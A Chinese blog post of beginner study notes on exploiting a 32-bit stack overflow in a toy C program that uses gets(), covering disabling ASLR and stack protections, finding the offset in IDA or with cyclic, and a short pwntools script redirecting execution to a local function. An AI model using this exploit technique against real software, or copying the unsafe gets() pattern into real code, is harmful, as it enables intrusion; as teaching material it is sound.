菌阁

菌阁

菌阁兮蕙楼,观道兮从横。宝金兮委积,美玉兮盈堂。

栈溢出

blogger 12 次阅读

栈溢出

阅读和复现之前,最好先有一点 Linux 基础。

[前置知识之Linux操作系统]

最近在继续看 PWN,先把最基础的栈溢出弄清楚。

栈溢出简单来说,就是程序往栈里的一个变量写数据的时候,写进去的东西超过了这个变量原本的大小,于是后面的数据也被一起覆盖了。

比如:

char s[12];

这里只给了 s 12 个字节。如果后面用了一个不限制输入长度的函数,那么输入超过12个字节以后,并不会自动停下来,而是还会继续往后写。

栈上后面不一定是没用的东西,还可能有:

saved ebp
return address

所以栈溢出真正有意思的地方不是把程序弄崩,而是:

如果连返回地址都能覆盖,那是不是可以让程序返回到我指定的地方?


先写一个最简单的程序

#include <stdio.h>
#include <string.h>

void success(void)
{
    puts("You Hava already controlled it.");
}

void vulnerable(void)
{
    char s[12];

    gets(s);
    puts(s);

    return;
}

int main(int argc, char **argv)
{
    vulnerable();
    return 0;
}

这个程序很简单。

main() 调用:

vulnerable();

然后里面定义:

char s[12];

再用:

gets(s);

接收输入。

问题就在 gets()。

gets() 不知道 s 到底有多大,它会一直读,直到遇到换行。所以虽然这里只定义了12字节,但是输入长一点,它还是会继续往后写。

编译:

gcc -m32 -fno-stack-protector -no-pie overflow.c -o stack_example -std=gnu99

这里先编译成32位,而且把几个保护关掉,方便看最基本的东西。

-m32

32位。

-fno-stack-protector

关掉 Stack Canary。

-no-pie

关掉 PIE,这样程序本身的地址不会每次都变。

编译的时候还会提示:

warning: the `gets' function is dangerous and should not be used.

确实很危险。

可以先:

checksec --file=./stack_example

看看保护。

主要注意:

Canary
NX
PIE
RELRO

这里为了方便,至少要:

Canary: No canary found
PIE:    No PIE

ASLR

Linux 还有一个 ASLR:

Address Space Layout Randomization

地址空间随机化。

查看:

cat /proc/sys/kernel/randomize_va_space

可能看到:

0
1
2

0 是关闭。

做这个实验的时候可以临时关掉:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

做完再恢复:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

现在只是为了把原理看清楚,先不管真实程序里面各种保护。


看栈

把程序丢进 IDA。

进入 vulnerable(),可以看到类似:

s = byte ptr -14h

也就是:

s = ebp - 0x14

所以 s 到 ebp 中间有:

0x14 = 20 bytes

大概可以画成:

                    +-----------------+
                    | return address  |
                    +-----------------+
                    |    saved ebp    |
             ebp--->+-----------------+
                    |                 |
                    |   local data    |
                    |                 |
       s,ebp-0x14-->+-----------------+

这里就比较关键了。

函数被调用的时候,会把返回地址保存在栈上。函数运行完执行 ret,CPU 就从栈里拿出这个地址,然后回去继续执行。

正常大概是:

call
 ↓
保存 return address
 ↓
执行 vulnerable
 ↓
ret
 ↓
回到 main

但 gets() 如果一直往后写,就会:

s
↓
继续写
↓
saved ebp
↓
return address

所以如果 return address 被我覆盖了,ret 的时候拿到的就是我写进去的地址。


跳到success

程序里面还有一个函数:

void success(void)
{
    puts("You Hava already controlled it.");
}

正常情况下不会执行它。

那就试一下把 vulnerable() 的返回地址直接改成 success()。

可以在 IDA 里面看,也可以:

objdump -d ./stack_example

找 success。

假设地址是:

0x08049176

那么目标就是:

vulnerable()
    ↓
ret
    ↓
0x08049176
    ↓
success()

前面已经看到:

s 到 ebp = 0x14

也就是20字节。

32位程序的 saved ebp 是4字节。

所以:

20 bytes
+
4 bytes
=
24 bytes

之后就是 return address。

payload 就可以想成:

20字节填充
+
4字节覆盖 saved ebp
+
success 地址

比如:

aaaaaaaaaaaaaaaaaaaa
bbbb
success_addr

写进去以后大概变成:

                    +-----------------+
                    |   0x08049176    |
                    +-----------------+
                    |      bbbb       |
             ebp--->+-----------------+
                    |                 |
                    |   overwritten   |
                    |                 |
       s,ebp-0x14-->+-----------------+

然后 vulnerable() 执行 ret。

这时候栈里原来的返回地址已经没了,取出来的是:

0x08049176

于是直接跳到 success()。


小端序

这里还卡了一个小端序。

x86 是:

Little Endian

比如地址:

0x08049176

真正按字节写进去是:

\x76\x91\x04\x08

低位放前面。

所以不能直接输入:

0x08049176

这个字符串。

pwntools 里面可以直接:

p32(success_addr)

它会帮忙转成32位小端序。

所以 EXP 可以写:

# coding=utf8

from pwn import *

sh = process('./stack_example')

success_addr = 0x08049176

payload = b'a' * 0x14
payload += b'bbbb'
payload += p32(success_addr)

print(p32(success_addr))

sh.sendline(payload)
sh.interactive()

整个 payload 就是:

20 bytes padding
+
4 bytes saved ebp
+
4 bytes return address

如果地址和偏移都没错,最后应该可以看到:

You Hava already controlled it.

也就是原来程序根本不会主动调用的:

success()

现在被执行了。

这个时候已经不是单纯把程序弄崩,而是真的把执行流程改掉了。


cyclic找偏移

前面是直接看 IDA 算出来的:

0x14 + 4

其实也可以用 cyclic。

先:

cyclic 100

生成一串特殊的数据,然后输入程序让它崩溃。

假如 GDB 里面看到:

EIP = 0x61616167

再:

cyclic -l 0x61616167

就可以知道这个值在刚才那串数据的第几个位置。

流程就是:

cyclic
 ↓
输入程序
 ↓
程序崩溃
 ↓
看 EIP
 ↓
cyclic -l
 ↓
得到 offset

所以 offset 其实就是:

输入缓冲区开始
↓
return address

中间一共有多少字节。

这个比自己一个一个算方便,不过最好还是先把为什么会有这个 offset 搞懂。


控制EIP

做到这里以后,我觉得栈溢出最关键的东西已经比较清楚了。

正常情况:

call
 ↓
保存 return address
 ↓
函数运行
 ↓
ret
 ↓
回到原来的位置

栈溢出以后:

call
 ↓
保存 return address
 ↓
gets继续往后写
 ↓
覆盖 return address
 ↓
ret
 ↓
跳到新的地址

所以真正想控制的是:

EIP

32位程序里面,EIP 指向 CPU 接下来要执行的指令。

如果能够稳定把 return address 改成自己想要的地址,那么函数 ret 以后,EIP 就会变成那个地址。

这次只是把它改成程序里面已经存在的:

success()

所以这个应该算最简单的:

ret2text

再往后

把整个过程缩一下其实就是:

gets输入没有长度限制
        ↓
发生栈溢出
        ↓
覆盖 saved ebp
        ↓
覆盖 return address
        ↓
ret
        ↓
EIP变成新的地址

这次的目标地址只有一个:

success()

所以很简单。

但如果已经能够控制 return address,那么后面应该就可以继续研究:

ret2text
ret2shellcode
ret2libc
ROP

真实程序还会有:

NX
Canary
PIE
ASLR
RELRO

这些东西不会让栈溢出凭空消失,但是会让“溢出以后到底怎么利用”变麻烦。

现在先把最基本的这一步弄懂:

找到溢出
↓
确定 offset
↓
覆盖 return address
↓
控制 EIP

ROP 应该也是从这里继续往下走,只不过不再只跳一次,而是想办法利用程序里面已经存在的代码片段,把它们接起来执行。

先到这里。

{% [type=divider] [color1=#6c6cee] [color2=#f69] %}

2026年9月 补充

重新翻了这篇初三时写下来的栈溢出笔记。和更早那篇《PWN环境配置》不太一样,到这个时候已经不是单纯从百度复制工具和命令了,很多内容确实是自己一边调试、一边看 IDA 和 GDB,再慢慢弄清楚的。

原文里最重要的东西其实很简单:gets() 为什么能够越过缓冲区继续写,return address 为什么会被覆盖,ret 为什么会因此跳到另一个地址。现在回头看当然只是非常基础的 ret2text,但在当时,把“程序崩了”和“我可以让它往另一个地方执行”真正联系起来,才算第一次把栈溢出这件事情看明白。

下一篇
没有了

发表评论

0 / 500

暂无评论

成为第一个评论的人吧!